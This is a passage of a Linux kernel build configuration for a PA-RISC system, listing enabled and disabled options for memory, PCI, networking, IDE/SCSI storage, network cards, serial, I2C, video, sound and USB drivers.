# CONFIG_DISCONTIGMEM_MANUAL is not set
# CONFIG_SPARSEMEM_MANUAL is not set
CONFIG_FLATMEM=y
CONFIG_FLAT_NODE_MEM_MAP=y
CONFIG_PAGEFLAGS_EXTENDED=y
CONFIG_SPLIT_PTLOCK_CPUS=4
# CONFIG_PHYS_ADDR_T_64BIT is not set
CONFIG_ZONE_DMA_FLAG=0
CONFIG_VIRT_TO_BUS=y
CONFIG_HAVE_MLOCK=y
CONFIG_HAVE_MLOCKED_PAGE_BIT=y
# CONFIG_KSM is not set
CONFIG_DEFAULT_MMAP_MIN_ADDR=4096
# CONFIG_HPUX is not set
CONFIG_NR_CPUS=2

#
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
#
# CONFIG_GSC is not set
CONFIG_PCI=y
# CONFIG_ARCH_SUPPORTS_MSI is not set
# CONFIG_PCI_LEGACY is not set
# CONFIG_PCI_DEBUG is not set
# CONFIG_PCI_STUB is not set
# CONFIG_PCI_IOV is not set
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_IOMMU_HELPER=y
# CONFIG_PCCARD is not set
# CONFIG_HOTPLUG_PCI is not set

#
# PA-RISC specific drivers
#
CONFIG_SUPERIO=y
CONFIG_CHASSIS_LCD_LED=y
# CONFIG_PDC_CHASSIS is not set
CONFIG_PDC_CHASSIS_WARN=y
# CONFIG_PDC_STABLE is not set

#
# Executable file formats
#
CONFIG_BINFMT_ELF=y
# CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS is not set
# CONFIG_HAVE_AOUT is not set
CONFIG_BINFMT_MISC=y
CONFIG_NET=y

#
# Networking options
#
CONFIG_PACKET=y
CONFIG_PACKET_MMAP=y
CONFIG_UNIX=y
# CONFIG_NET_KEY is not set
CONFIG_INET=y
# CONFIG_IP_MULTICAST is not set
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_FIB_HASH=y
# CONFIG_IP_PNP is not set
CONFIG_NET_IPIP=m
# CONFIG_NET_IPGRE is not set
# CONFIG_ARPD is not set
# CONFIG_SYN_COOKIES is not set
# CONFIG_INET_AH is not set
# CONFIG_INET_ESP is not set
# CONFIG_INET_IPCOMP is not set
# CONFIG_INET_XFRM_TUNNEL is not set
CONFIG_INET_TUNNEL=m
# CONFIG_INET_XFRM_MODE_TRANSPORT is not set
# CONFIG_INET_XFRM_MODE_TUNNEL is not set
# CONFIG_INET_XFRM_MODE_BEET is not set
# CONFIG_INET_LRO is not set
CONFIG_INET_DIAG=m
CONFIG_INET_TCP_DIAG=m
# CONFIG_TCP_CONG_ADVANCED is not set
CONFIG_TCP_CONG_CUBIC=y
CONFIG_DEFAULT_TCP_CONG="cubic"
# CONFIG_TCP_MD5SIG is not set
CONFIG_IPV6=y
# CONFIG_IPV6_PRIVACY is not set
# CONFIG_IPV6_ROUTER_PREF is not set
# CONFIG_IPV6_OPTIMISTIC_DAD is not set
# CONFIG_INET6_AH is not set
# CONFIG_INET6_ESP is not set
# CONFIG_INET6_IPCOMP is not set
# CONFIG_IPV6_MIP6 is not set
# CONFIG_INET6_XFRM_TUNNEL is not set
# CONFIG_INET6_TUNNEL is not set
# CONFIG_INET6_XFRM_MODE_TRANSPORT is not set
# CONFIG_INET6_XFRM_MODE_TUNNEL is not set
# CONFIG_INET6_XFRM_MODE_BEET is not set
# CONFIG_INET6_XFRM_MODE_ROUTEOPTIMIZATION is not set
CONFIG_IPV6_SIT=m
CONFIG_IPV6_NDISC_NODETYPE=y
# CONFIG_IPV6_TUNNEL is not set
# CONFIG_IPV6_MULTIPLE_TABLES is not set
# CONFIG_IPV6_MROUTE is not set
# CONFIG_NETLABEL is not set
# CONFIG_NETWORK_SECMARK is not set
# CONFIG_NETFILTER is not set
# CONFIG_IP_DCCP is not set
# CONFIG_IP_SCTP is not set
# CONFIG_RDS is not set
# CONFIG_TIPC is not set
# CONFIG_ATM is not set
# CONFIG_BRIDGE is not set
# CONFIG_NET_DSA is not set
# CONFIG_VLAN_8021Q is not set
# CONFIG_DECNET is not set
# CONFIG_LLC2 is not set
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_PHONET is not set
# CONFIG_IEEE802154 is not set
# CONFIG_NET_SCHED is not set
# CONFIG_DCB is not set

#
# Network testing
#
# CONFIG_NET_PKTGEN is not set
# CONFIG_HAMRADIO is not set
# CONFIG_CAN is not set
# CONFIG_IRDA is not set
# CONFIG_BT is not set
# CONFIG_AF_RXRPC is not set
# CONFIG_WIRELESS is not set
# CONFIG_WIMAX is not set
# CONFIG_RFKILL is not set
# CONFIG_NET_9P is not set

#
# Device Drivers
#

#
# Generic Driver Options
#
CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
# CONFIG_DEVTMPFS is not set
CONFIG_STANDALONE=y
CONFIG_PREVENT_FIRMWARE_BUILD=y
CONFIG_FW_LOADER=y
CONFIG_FIRMWARE_IN_KERNEL=y
CONFIG_EXTRA_FIRMWARE=""
# CONFIG_DEBUG_DRIVER is not set
# CONFIG_DEBUG_DEVRES is not set
# CONFIG_SYS_HYPERVISOR is not set
# CONFIG_CONNECTOR is not set
# CONFIG_MTD is not set
# CONFIG_PARPORT is not set
CONFIG_BLK_DEV=y
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
# CONFIG_BLK_DEV_UMEM is not set
# CONFIG_BLK_DEV_COW_COMMON is not set
CONFIG_BLK_DEV_LOOP=y
CONFIG_BLK_DEV_CRYPTOLOOP=m
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_SX8 is not set
# CONFIG_BLK_DEV_UB is not set
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_COUNT=16
CONFIG_BLK_DEV_RAM_SIZE=8192
# CONFIG_BLK_DEV_XIP is not set
# CONFIG_CDROM_PKTCDVD is not set
# CONFIG_ATA_OVER_ETH is not set
# CONFIG_BLK_DEV_HD is not set
CONFIG_MISC_DEVICES=y
# CONFIG_PHANTOM is not set
CONFIG_SGI_IOC4=m
CONFIG_TIFM_CORE=m
CONFIG_TIFM_7XX1=m
# CONFIG_ICS932S401 is not set
# CONFIG_ENCLOSURE_SERVICES is not set
# CONFIG_HP_ILO is not set
# CONFIG_ISL29003 is not set
# CONFIG_C2PORT is not set

#
# EEPROM support
#
# CONFIG_EEPROM_AT24 is not set
# CONFIG_EEPROM_LEGACY is not set
# CONFIG_EEPROM_MAX6875 is not set
# CONFIG_EEPROM_93CX6 is not set
# CONFIG_CB710_CORE is not set
CONFIG_HAVE_IDE=y
CONFIG_IDE=y

#
# Please see Documentation/ide/ide.txt for help/info on IDE drives
#
CONFIG_IDE_XFER_MODE=y
CONFIG_IDE_ATAPI=y
# CONFIG_BLK_DEV_IDE_SATA is not set
# CONFIG_IDE_GD is not set
CONFIG_BLK_DEV_IDECD=y
CONFIG_BLK_DEV_IDECD_VERBOSE_ERRORS=y
# CONFIG_BLK_DEV_IDETAPE is not set
# CONFIG_IDE_TASK_IOCTL is not set
# CONFIG_IDE_PROC_FS is not set

#
# IDE chipset support/bugfixes
#
# CONFIG_BLK_DEV_PLATFORM is not set
CONFIG_BLK_DEV_IDEDMA_SFF=y

#
# PCI IDE chipsets support
#
CONFIG_BLK_DEV_IDEPCI=y
# CONFIG_IDEPCI_PCIBUS_ORDER is not set
# CONFIG_BLK_DEV_GENERIC is not set
# CONFIG_BLK_DEV_OPTI621 is not set
CONFIG_BLK_DEV_IDEDMA_PCI=y
# CONFIG_BLK_DEV_AEC62XX is not set
# CONFIG_BLK_DEV_ALI15X3 is not set
# CONFIG_BLK_DEV_AMD74XX is not set
# CONFIG_BLK_DEV_CMD64X is not set
# CONFIG_BLK_DEV_TRIFLEX is not set
# CONFIG_BLK_DEV_CS5520 is not set
# CONFIG_BLK_DEV_CS5530 is not set
# CONFIG_BLK_DEV_HPT366 is not set
# CONFIG_BLK_DEV_JMICRON is not set
# CONFIG_BLK_DEV_SC1200 is not set
# CONFIG_BLK_DEV_PIIX is not set
# CONFIG_BLK_DEV_IT8172 is not set
# CONFIG_BLK_DEV_IT8213 is not set
# CONFIG_BLK_DEV_IT821X is not set
CONFIG_BLK_DEV_NS87415=y
# CONFIG_BLK_DEV_PDC202XX_OLD is not set
# CONFIG_BLK_DEV_PDC202XX_NEW is not set
# CONFIG_BLK_DEV_SVWKS is not set
# CONFIG_BLK_DEV_SIIMAGE is not set
# CONFIG_BLK_DEV_SLC90E66 is not set
# CONFIG_BLK_DEV_TRM290 is not set
# CONFIG_BLK_DEV_VIA82CXXX is not set
# CONFIG_BLK_DEV_TC86C001 is not set
CONFIG_BLK_DEV_IDEDMA=y

#
# SCSI device support
#
CONFIG_RAID_ATTRS=y
CONFIG_SCSI=y
CONFIG_SCSI_DMA=y
CONFIG_SCSI_TGT=y
# CONFIG_SCSI_NETLINK is not set
# CONFIG_SCSI_PROC_FS is not set

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=y
# CONFIG_CHR_DEV_ST is not set
# CONFIG_CHR_DEV_OSST is not set
CONFIG_BLK_DEV_SR=y
# CONFIG_BLK_DEV_SR_VENDOR is not set
CONFIG_CHR_DEV_SG=y
# CONFIG_CHR_DEV_SCH is not set
CONFIG_SCSI_MULTI_LUN=y
CONFIG_SCSI_CONSTANTS=y
CONFIG_SCSI_LOGGING=y
# CONFIG_SCSI_SCAN_ASYNC is not set
CONFIG_SCSI_WAIT_SCAN=m

#
# SCSI Transports
#
CONFIG_SCSI_SPI_ATTRS=y
# CONFIG_SCSI_FC_ATTRS is not set
# CONFIG_SCSI_ISCSI_ATTRS is not set
# CONFIG_SCSI_SAS_LIBSAS is not set
# CONFIG_SCSI_SRP_ATTRS is not set
CONFIG_SCSI_LOWLEVEL=y
# CONFIG_ISCSI_TCP is not set
# CONFIG_SCSI_BNX2_ISCSI is not set
# CONFIG_BE2ISCSI is not set
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
# CONFIG_SCSI_3W_9XXX is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC7XXX_OLD is not set
# CONFIG_SCSI_AIC79XX is not set
# CONFIG_SCSI_AIC94XX is not set
# CONFIG_SCSI_MVSAS is not set
# CONFIG_SCSI_DPT_I2O is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_ARCMSR is not set
# CONFIG_MEGARAID_NEWGEN is not set
# CONFIG_MEGARAID_LEGACY is not set
# CONFIG_MEGARAID_SAS is not set
# CONFIG_SCSI_MPT2SAS is not set
# CONFIG_SCSI_HPTIOP is not set
# CONFIG_LIBFC is not set
# CONFIG_LIBFCOE is not set
# CONFIG_FCOE is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_IPS is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_STEX is not set
CONFIG_SCSI_SYM53C8XX_2=y
CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1
CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16
CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64
CONFIG_SCSI_SYM53C8XX_MMIO=y
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_QLA_FC is not set
# CONFIG_SCSI_QLA_ISCSI is not set
# CONFIG_SCSI_LPFC is not set
# CONFIG_SCSI_DC395x is not set
# CONFIG_SCSI_DC390T is not set
# CONFIG_SCSI_NSP32 is not set
# CONFIG_SCSI_DEBUG is not set
# CONFIG_SCSI_PMCRAID is not set
# CONFIG_SCSI_SRP is not set
# CONFIG_SCSI_BFA_FC is not set
# CONFIG_SCSI_DH is not set
# CONFIG_SCSI_OSD_INITIATOR is not set
# CONFIG_ATA is not set
CONFIG_MD=y
CONFIG_BLK_DEV_MD=y
CONFIG_MD_AUTODETECT=y
# CONFIG_MD_LINEAR is not set
CONFIG_MD_RAID0=y
CONFIG_MD_RAID1=y
# CONFIG_MD_RAID10 is not set
# CONFIG_MD_RAID456 is not set
# CONFIG_MD_MULTIPATH is not set
# CONFIG_MD_FAULTY is not set
# CONFIG_BLK_DEV_DM is not set
# CONFIG_FUSION is not set

#
# IEEE 1394 (FireWire) support
#

#
# You can enable one or both FireWire driver stacks.
#

#
# See the help texts for more information.
#
# CONFIG_FIREWIRE is not set
# CONFIG_IEEE1394 is not set
# CONFIG_I2O is not set
CONFIG_NETDEVICES=y
# CONFIG_DUMMY is not set
# CONFIG_BONDING is not set
# CONFIG_MACVLAN is not set
# CONFIG_EQUALIZER is not set
CONFIG_TUN=y
# CONFIG_VETH is not set
# CONFIG_ARCNET is not set
# CONFIG_PHYLIB is not set
CONFIG_NET_ETHERNET=y
CONFIG_MII=y
# CONFIG_HAPPYMEAL is not set
# CONFIG_SUNGEM is not set
# CONFIG_CASSINI is not set
CONFIG_NET_VENDOR_3COM=y
CONFIG_VORTEX=y
# CONFIG_TYPHOON is not set
# CONFIG_ETHOC is not set
# CONFIG_DNET is not set
CONFIG_NET_TULIP=y
# CONFIG_DE2104X is not set
CONFIG_TULIP=y
# CONFIG_TULIP_MWI is not set
CONFIG_TULIP_MMIO=y
CONFIG_TULIP_NAPI=y
CONFIG_TULIP_NAPI_HW_MITIGATION=y
# CONFIG_DE4X5 is not set
# CONFIG_WINBOND_840 is not set
# CONFIG_DM9102 is not set
# CONFIG_ULI526X is not set
# CONFIG_HP100 is not set
# CONFIG_IBM_NEW_EMAC_ZMII is not set
# CONFIG_IBM_NEW_EMAC_RGMII is not set
# CONFIG_IBM_NEW_EMAC_TAH is not set
# CONFIG_IBM_NEW_EMAC_EMAC4 is not set
# CONFIG_IBM_NEW_EMAC_NO_FLOW_CTRL is not set
# CONFIG_IBM_NEW_EMAC_MAL_CLR_ICINTSTAT is not set
# CONFIG_IBM_NEW_EMAC_MAL_COMMON_ERR is not set
# CONFIG_NET_PCI is not set
# CONFIG_B44 is not set
# CONFIG_KS8842 is not set
# CONFIG_KS8851_MLL is not set
# CONFIG_ATL2 is not set
# CONFIG_NETDEV_1000 is not set
# CONFIG_NETDEV_10000 is not set
# CONFIG_TR is not set
# CONFIG_WLAN is not set

#
# Enable WiMAX (Networking options) to see the WiMAX drivers
#

#
# USB Network Adapters
#
# CONFIG_USB_CATC is not set
# CONFIG_USB_KAWETH is not set
# CONFIG_USB_PEGASUS is not set
# CONFIG_USB_RTL8150 is not set
# CONFIG_USB_USBNET is not set
# CONFIG_WAN is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
# CONFIG_PPP is not set
# CONFIG_SLIP is not set
# CONFIG_NET_FC is not set
# CONFIG_NETCONSOLE is not set
# CONFIG_NETPOLL is not set
# CONFIG_NET_POLL_CONTROLLER is not set
# CONFIG_ISDN is not set
# CONFIG_PHONE is not set

#
# Input device support
#
CONFIG_INPUT=y
# CONFIG_INPUT_FF_MEMLESS is not set
# CONFIG_INPUT_POLLDEV is not set

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
# CONFIG_INPUT_MOUSEDEV_PSAUX is not set
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
# CONFIG_INPUT_JOYDEV is not set
# CONFIG_INPUT_EVDEV is not set
# CONFIG_INPUT_EVBUG is not set

#
# Input Device Drivers
#
# CONFIG_INPUT_KEYBOARD is not set
# CONFIG_INPUT_MOUSE is not set
# CONFIG_INPUT_JOYSTICK is not set
# CONFIG_INPUT_TABLET is not set
# CONFIG_INPUT_TOUCHSCREEN is not set
# CONFIG_INPUT_MISC is not set

#
# Hardware I/O ports
#
CONFIG_SERIO=y
CONFIG_SERIO_SERPORT=y
# CONFIG_SERIO_PCIPS2 is not set
# CONFIG_SERIO_RAW is not set
# CONFIG_GAMEPORT is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_CONSOLE_TRANSLATIONS=y
CONFIG_VT_CONSOLE=y
CONFIG_HW_CONSOLE=y
# CONFIG_VT_HW_CONSOLE_BINDING is not set
# CONFIG_DEVKMEM is not set
# CONFIG_SERIAL_NONSTANDARD is not set
# CONFIG_NOZOMI is not set

#
# Serial drivers
#
CONFIG_SERIAL_8250=y
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_SERIAL_8250_PCI=y
CONFIG_SERIAL_8250_NR_UARTS=16
CONFIG_SERIAL_8250_RUNTIME_UARTS=4
CONFIG_SERIAL_8250_EXTENDED=y
# CONFIG_SERIAL_8250_MANY_PORTS is not set
CONFIG_SERIAL_8250_SHARE_IRQ=y
# CONFIG_SERIAL_8250_DETECT_IRQ is not set
# CONFIG_SERIAL_8250_RSA is not set

#
# Non-8250 serial port support
#
CONFIG_PDC_CONSOLE=y
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
# CONFIG_SERIAL_JSM is not set
CONFIG_UNIX98_PTYS=y
# CONFIG_DEVPTS_MULTIPLE_INSTANCES is not set
# CONFIG_LEGACY_PTYS is not set
# CONFIG_IPMI_HANDLER is not set
CONFIG_HW_RANDOM=y
# CONFIG_HW_RANDOM_TIMERIOMEM is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set
# CONFIG_RAW_DRIVER is not set
# CONFIG_TCG_TPM is not set
CONFIG_DEVPORT=y
CONFIG_I2C=y
CONFIG_I2C_BOARDINFO=y
# CONFIG_I2C_COMPAT is not set
# CONFIG_I2C_CHARDEV is not set
CONFIG_I2C_HELPER_AUTO=y
CONFIG_I2C_ALGOBIT=m

#
# I2C Hardware Bus support
#

#
# PC SMBus host controller drivers
#
# CONFIG_I2C_ALI1535 is not set
# CONFIG_I2C_ALI1563 is not set
# CONFIG_I2C_ALI15X3 is not set
# CONFIG_I2C_AMD756 is not set
# CONFIG_I2C_AMD8111 is not set
# CONFIG_I2C_I801 is not set
# CONFIG_I2C_ISCH is not set
# CONFIG_I2C_PIIX4 is not set
# CONFIG_I2C_NFORCE2 is not set
# CONFIG_I2C_SIS5595 is not set
# CONFIG_I2C_SIS630 is not set
# CONFIG_I2C_SIS96X is not set
# CONFIG_I2C_VIA is not set
# CONFIG_I2C_VIAPRO is not set

#
# I2C system bus drivers (mostly embedded / system-on-chip)
#
# CONFIG_I2C_OCORES is not set
# CONFIG_I2C_SIMTEC is not set

#
# External I2C/SMBus adapter drivers
#
# CONFIG_I2C_PARPORT_LIGHT is not set
# CONFIG_I2C_TAOS_EVM is not set
# CONFIG_I2C_TINY_USB is not set

#
# Graphics adapter I2C/DDC channel drivers
#
# CONFIG_I2C_VOODOO3 is not set

#
# Other I2C/SMBus bus drivers
#
# CONFIG_I2C_PCA_PLATFORM is not set
# CONFIG_I2C_STUB is not set

#
# Miscellaneous I2C Chip support
#
# CONFIG_DS1682 is not set
# CONFIG_SENSORS_TSL2550 is not set
# CONFIG_I2C_DEBUG_CORE is not set
# CONFIG_I2C_DEBUG_ALGO is not set
# CONFIG_I2C_DEBUG_BUS is not set
# CONFIG_I2C_DEBUG_CHIP is not set
# CONFIG_SPI is not set

#
# PPS support
#
# CONFIG_PPS is not set
# CONFIG_W1 is not set
# CONFIG_POWER_SUPPLY is not set
# CONFIG_HWMON is not set
# CONFIG_THERMAL is not set
# CONFIG_WATCHDOG is not set
CONFIG_SSB_POSSIBLE=y

#
# Sonics Silicon Backplane
#
# CONFIG_SSB is not set

#
# Multifunction device drivers
#
# CONFIG_MFD_CORE is not set
# CONFIG_MFD_SM501 is not set
# CONFIG_HTC_PASIC3 is not set
# CONFIG_TWL4030_CORE is not set
# CONFIG_MFD_TMIO is not set
# CONFIG_PMIC_DA903X is not set
# CONFIG_MFD_WM8400 is not set
# CONFIG_MFD_WM831X is not set
# CONFIG_MFD_WM8350_I2C is not set
# CONFIG_MFD_PCF50633 is not set
# CONFIG_AB3100_CORE is not set
# CONFIG_REGULATOR is not set
CONFIG_MEDIA_SUPPORT=y

#
# Multimedia core support
#
CONFIG_VIDEO_DEV=y
CONFIG_VIDEO_V4L2_COMMON=y
# CONFIG_VIDEO_ALLOW_V4L1 is not set
CONFIG_VIDEO_V4L1_COMPAT=y
# CONFIG_DVB_CORE is not set
CONFIG_VIDEO_MEDIA=y

#
# Multimedia drivers
#
# CONFIG_MEDIA_ATTACH is not set
CONFIG_MEDIA_TUNER=y
# CONFIG_MEDIA_TUNER_CUSTOMISE is not set
CONFIG_MEDIA_TUNER_SIMPLE=y
CONFIG_MEDIA_TUNER_TDA8290=y
CONFIG_MEDIA_TUNER_TDA9887=y
CONFIG_MEDIA_TUNER_TEA5761=y
CONFIG_MEDIA_TUNER_TEA5767=y
CONFIG_MEDIA_TUNER_MT20XX=y
CONFIG_MEDIA_TUNER_XC2028=y
CONFIG_MEDIA_TUNER_XC5000=y
CONFIG_MEDIA_TUNER_MC44S803=y
CONFIG_VIDEO_V4L2=y
CONFIG_VIDEOBUF_GEN=m
CONFIG_VIDEOBUF_DMA_SG=m
CONFIG_VIDEOBUF_VMALLOC=m
CONFIG_VIDEO_BTCX=m
CONFIG_VIDEO_IR=m
CONFIG_VIDEO_TVEEPROM=m
CONFIG_VIDEO_TUNER=m
CONFIG_VIDEO_CAPTURE_DRIVERS=y
# CONFIG_VIDEO_ADV_DEBUG is not set
# CONFIG_VIDEO_FIXED_MINOR_RANGES is not set
CONFIG_VIDEO_HELPER_CHIPS_AUTO=y
CONFIG_VIDEO_IR_I2C=m
CONFIG_VIDEO_TVAUDIO=m
CONFIG_VIDEO_TDA7432=m
CONFIG_VIDEO_MSP3400=m
CONFIG_VIDEO_SAA6588=m
CONFIG_VIDEO_VIVI=m
CONFIG_VIDEO_BT848=m
# CONFIG_VIDEO_SAA5246A is not set
# CONFIG_VIDEO_SAA5249 is not set
# CONFIG_VIDEO_ZORAN is not set
# CONFIG_VIDEO_SAA7134 is not set
# CONFIG_VIDEO_HEXIUM_ORION is not set
# CONFIG_VIDEO_HEXIUM_GEMINI is not set
# CONFIG_VIDEO_CX88 is not set
# CONFIG_VIDEO_IVTV is not set
# CONFIG_VIDEO_CAFE_CCIC is not set
# CONFIG_SOC_CAMERA is not set
# CONFIG_V4L_USB_DRIVERS is not set
# CONFIG_RADIO_ADAPTERS is not set
# CONFIG_DAB is not set

#
# Graphics support
#
# CONFIG_AGP is not set
CONFIG_VGA_ARB=y
# CONFIG_DRM is not set
# CONFIG_VGASTATE is not set
# CONFIG_VIDEO_OUTPUT_CONTROL is not set
# CONFIG_FB is not set
# CONFIG_BACKLIGHT_LCD_SUPPORT is not set

#
# Display device support
#
# CONFIG_DISPLAY_SUPPORT is not set

#
# Console display driver support
#
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=160
CONFIG_DUMMY_CONSOLE_ROWS=64
# CONFIG_STI_CONSOLE is not set
CONFIG_SOUND=y
# CONFIG_SOUND_OSS_CORE is not set
CONFIG_SND=y
CONFIG_SND_TIMER=y
CONFIG_SND_PCM=y
# CONFIG_SND_SEQUENCER is not set
# CONFIG_SND_MIXER_OSS is not set
# CONFIG_SND_PCM_OSS is not set
# CONFIG_SND_DYNAMIC_MINORS is not set
# CONFIG_SND_SUPPORT_OLD_API is not set
# CONFIG_SND_VERBOSE_PROCFS is not set
# CONFIG_SND_VERBOSE_PRINTK is not set
# CONFIG_SND_DEBUG is not set
CONFIG_SND_VMASTER=y
# CONFIG_SND_RAWMIDI_SEQ is not set
# CONFIG_SND_OPL3_LIB_SEQ is not set
# CONFIG_SND_OPL4_LIB_SEQ is not set
# CONFIG_SND_SBAWE_SEQ is not set
# CONFIG_SND_EMU10K1_SEQ is not set
CONFIG_SND_AC97_CODEC=y
# CONFIG_SND_DRIVERS is not set
CONFIG_SND_PCI=y
CONFIG_SND_AD1889=y
# CONFIG_SND_ALS300 is not set
# CONFIG_SND_ALI5451 is not set
# CONFIG_SND_ATIIXP is not set
# CONFIG_SND_ATIIXP_MODEM is not set
# CONFIG_SND_AU8810 is not set
# CONFIG_SND_AU8820 is not set
# CONFIG_SND_AU8830 is not set
# CONFIG_SND_AW2 is not set
# CONFIG_SND_AZT3328 is not set
# CONFIG_SND_BT87X is not set
# CONFIG_SND_CA0106 is not set
# CONFIG_SND_CMIPCI is not set
# CONFIG_SND_OXYGEN is not set
# CONFIG_SND_CS4281 is not set
# CONFIG_SND_CS46XX is not set
# CONFIG_SND_CS5535AUDIO is not set
# CONFIG_SND_CTXFI is not set
# CONFIG_SND_DARLA20 is not set
# CONFIG_SND_GINA20 is not set
# CONFIG_SND_LAYLA20 is not set
# CONFIG_SND_DARLA24 is not set
# CONFIG_SND_GINA24 is not set
# CONFIG_SND_LAYLA24 is not set
# CONFIG_SND_MONA is not set
# CONFIG_SND_MIA is not set
# CONFIG_SND_ECHO3G is not set
# CONFIG_SND_INDIGO is not set
# CONFIG_SND_INDIGOIO is not set
# CONFIG_SND_INDIGODJ is not set
# CONFIG_SND_INDIGOIOX is not set
# CONFIG_SND_INDIGODJX is not set
# CONFIG_SND_EMU10K1 is not set
# CONFIG_SND_EMU10K1X is not set
# CONFIG_SND_ENS1370 is not set
# CONFIG_SND_ENS1371 is not set
# CONFIG_SND_ES1938 is not set
# CONFIG_SND_ES1968 is not set
# CONFIG_SND_FM801 is not set
# CONFIG_SND_HDA_INTEL is not set
# CONFIG_SND_HDSP is not set
# CONFIG_SND_HDSPM is not set
# CONFIG_SND_HIFIER is not set
# CONFIG_SND_ICE1712 is not set
# CONFIG_SND_ICE1724 is not set
# CONFIG_SND_INTEL8X0 is not set
# CONFIG_SND_INTEL8X0M is not set
# CONFIG_SND_KORG1212 is not set
# CONFIG_SND_LX6464ES is not set
# CONFIG_SND_MAESTRO3 is not set
# CONFIG_SND_MIXART is not set
# CONFIG_SND_NM256 is not set
# CONFIG_SND_PCXHR is not set
# CONFIG_SND_RIPTIDE is not set
# CONFIG_SND_RME32 is not set
# CONFIG_SND_RME96 is not set
# CONFIG_SND_RME9652 is not set
# CONFIG_SND_SONICVIBES is not set
# CONFIG_SND_TRIDENT is not set
# CONFIG_SND_VIA82XX is not set
# CONFIG_SND_VIA82XX_MODEM is not set
# CONFIG_SND_VIRTUOSO is not set
# CONFIG_SND_VX222 is not set
# CONFIG_SND_YMFPCI is not set
# CONFIG_SND_USB is not set
# CONFIG_SND_SOC is not set
# CONFIG_SOUND_PRIME is not set
CONFIG_AC97_BUS=y
# CONFIG_HID_SUPPORT is not set
CONFIG_USB_SUPPORT=y
CONFIG_USB_ARCH_HAS_HCD=y
CONFIG_USB_ARCH_HAS_OHCI=y
CONFIG_USB_ARCH_HAS_EHCI=y
CONFIG_USB=y
# CONFIG_USB_DEBUG is not set
CONFIG_USB_ANNOUNCE_NEW_DEVICES=y

#
# Miscellaneous USB options
#
# CONFIG_USB_DEVICEFS is not set
# CONFIG_USB_DEVICE_CLASS is not set
# CONFIG_USB_DYNAMIC_MINORS is not set
# CONFIG_USB_OTG is not set
# CONFIG_USB_MON is not set
# CONFIG_USB_WUSB is not set
# CONFIG_USB_WUSB_CBAF is not set

#
# USB Host Controller Drivers
#
# CONFIG_USB_C67X00_HCD is not set
# CONFIG_USB_XHCI_HCD is not set
# CONFIG_USB_EHCI_HCD is not set
# CONFIG_USB_OXU210HP_HCD is not set
# CONFIG_USB_ISP116X_HCD is not set
# CONFIG_USB_ISP1760_HCD is not set
# CONFIG_USB_ISP1362_HCD is not set
CONFIG_USB_OHCI_HCD=y
# CONFIG_USB_OHCI_BIG_ENDIAN_DESC is not set
# CONFIG_USB_OHCI_BIG_ENDIAN_MMIO is not set
CONFIG_USB_OHCI_LITTLE_ENDIAN=y
CONFIG_USB_UHCI_HCD=y
# CONFIG_USB_SL811_HCD is not set
# CONFIG_USB_R8A66597_HCD is not set
# CONFIG_USB_WHCI_HCD is not set
# CONFIG_USB_HWA_HCD is not set

#
# USB Device Class drivers
#
# CONFIG_USB_ACM is not set
# CONFIG_USB_PRINTER is not set
# CONFIG_USB_WDM is not set
# CONFIG_USB_TMC is not set

#
# NOTE: USB_STORAGE depends on SCSI but BLK_DEV_SD may
#

#
# also be needed; see USB_STORAGE Help for more info
#
CONFIG_USB_STORAGE=y
# CONFIG_USB_STORAGE_DEBUG is not set
# CONFIG_USB_STORAGE_DATAFAB is not set
# CONFIG_USB_STORAGE_FREECOM is not set
# CONFIG_USB_STORAGE_ISD200 is not set
# CONFIG_USB_STORAGE_USBAT is not set
# CONFIG_USB_STORAGE_SDDR09 is not set
# CONFIG_USB_STORAGE_SDDR55 is not set
# CONFIG_USB_STORAGE_JUMPSHOT is not set
# CONFIG_USB_STORAGE_ALAUDA is not set
# CONFIG_USB_STORAGE_ONETOUCH is not set
# CONFIG_USB_STORAGE_KARMA is not set
# CONFIG_USB_STORAGE_CYPRESS_ATACB is not set
# CONFIG_USB_LIBUSUAL is not set

#
# USB Imaging devices
#
# CONFIG_USB_MDC800 is not set
# CONFIG_USB_MICROTEK is not set

#
# USB port drivers
#
# CONFIG_USB_SERIAL is not set

#
# USB Miscellaneous drivers
#
# CONFIG_USB_EMI62 is not set
# CONFIG_USB_EMI26 is not set
# CONFIG_USB_ADUTUX is not set
# CONFIG_USB_SEVSEG is not set
# CONFIG_USB_RIO500 is not set
# CONFIG_USB_LEGOTOWER is not set
# CONFIG_USB_LCD is not set
# CONFIG_USB_BERRY_CHARGE is not set
